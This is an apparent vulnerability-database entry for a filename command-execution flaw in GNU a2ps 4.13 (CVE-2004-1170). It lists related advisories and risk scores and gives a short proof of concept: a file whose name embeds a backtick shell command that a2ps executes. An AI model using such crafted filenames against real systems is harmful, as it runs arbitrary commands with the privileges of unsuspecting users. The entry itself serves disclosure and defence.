GNU a2ps 4.13 - File Name Command Execution
| Reporter | Title | Published | Views | Family All 25 |
|---|---|---|---|---|
 | a2ps -- insecure command line argument handling | 18 Aug 200400:00 | – | freebsd |
 | CAN-2004-1170 | 23 Feb 202418:16 | – | cve |
| CVE-2004-1170 | 10 Dec 200405:00 | – | cve |
 | CVE-2004-1170 | 10 Dec 200405:00 | – | cvelist |
 | [SECURITY] [DSA 612-1] New a2ps packages fix arbitrary command execution | 20 Dec 200411:29 | – | debian |
| [SECURITY] [DSA 612-1] New a2ps packages fix arbitrary command execution | 20 Dec 200411:29 | – | debian |
 | CVE-2004-1170 | 10 Dec 200405:00 | – | debiancve |
 | Debian DSA-612-1 : a2ps - unsanitised input | 20 Dec 200400:00 | – | nessus |
| FreeBSD : a2ps -- insecure command line argument handling (4) | 20 Oct 200400:00 | – | nessus |
| FreeBSD : a2ps -- insecure command line argument handling (8091fcea-f35e-11d8-81b0-000347a4fa7d) | 23 Apr 200900:00 | – | nessus |
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source: https://www.securityfocus.com/bid/11025/info
Reportedly GNU a2ps is affected by a filename command-execution vulnerability. This issue is due to the application's failure to properly sanitize filenames.
An attacker might leverage this issue to execute arbitrary shell commands with the privileges of an unsuspecting user running the vulnerable application.
Although this issue reportedly affects only a2ps version 4.13, other versions are likely affected as well.
$ touch 'x`echo >&2 42`.c'
$ a2ps -o /dev/null *.c
42
[x`echo >&2 42`.c (C): 0 pages on 0 sheets]
[Total: 0 pages on 0 sheets] saved into the file `/dev/null'Data
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27 Jan 2013 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 210
EPSS0.15981